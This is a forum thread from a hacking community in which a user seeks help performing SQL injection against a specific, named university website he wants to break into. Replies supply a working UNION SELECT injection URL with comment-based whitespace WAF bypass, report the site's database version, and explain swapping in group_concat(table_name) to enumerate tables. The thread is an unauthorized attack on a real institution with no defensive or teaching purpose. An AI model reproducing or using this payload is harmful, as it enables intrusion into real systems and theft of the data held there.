Thread: [Please, help me with SQL injection](#)

Coeg - February 22, 2015, 10:33 pm

I tried to find column on this website

`www*trisakti*ac*id/?page=jobs&ID=1105`

But i can't find the number of column ? . I tried sqlmap and that won't do either ? .

Can someone help me to inject this website?

I'm willing to learn as much as possible. Thank you for your attention ?

dotRobby - February 22, 2015, 10:40 pm

I can't find a vulnerability in that website :/

Coeg - February 22, 2015, 10:51 pm

So, is it not possible to inject that website?

dotRobby - February 22, 2015, 10:54 pm

(Feb 22, 2015 11:51 PM)Coeg Wrote: [\[CITE\]](#) So, is it not possible to inject that website?

I'm afraid not :/

I suggest using dorks to find websites to hack. There's a list on this topic:

Sigh, I'm feeling down. Because i just want to hack that website, not anything else. But thank you dotRobby for trying to inject that site! But, I must find a way to break that

Ooze - February 22, 2015, 11:06 pm

I injected the site try 6 columns that worked for me also try this url

<http://www.trisakti.ac.id/?page=ultah> PM me for details

r0ml4h - February 23, 2015, 8:40 am

white space waf

Code

```
http://www.trisakti.ac.id/?page=jobs&ID=-1105'/**/union/**/select/**/1,2,3,4,5,6,7,version(),9,10,11/**/from/**/information_schema.tables/**/where/**/table_schema=database()%23remove HF paste bug if exist
```

syrrian thunder - February 23, 2015, 1:09 pm

r0ml4h did it for u ...good luck body :)

Coeg - February 23, 2015, 3:59 pm

hi r0ml4h! Thanks for the reply, i tried that but i found nothing. Have you tried to get that site database?

r0ml4h - February 23, 2015, 8:45 pm

@Coeg really, because it working fine for me, version of database is : 5.0.95, there is no other waf except whitespace waf, try do it manually to exploit this site, there is a lot tutorial about sql in HF you

can find it easily

r0ml4h gave you the solution...

Just replace "version()" with "group_concat(table_name)" in his syntax to find the table name yourself.

Coeg - February 24, 2015, 5:39 pm

r0ml4h, maybe it was because that whitespace waf that i found nothing. So how to bypass and get over from that type of waf?

Thanks for the reply everyone

Okay i got it. Thanks r0ml4h! So this is the way to bypass the whitespace waf. Thank you very much r0ml4h!
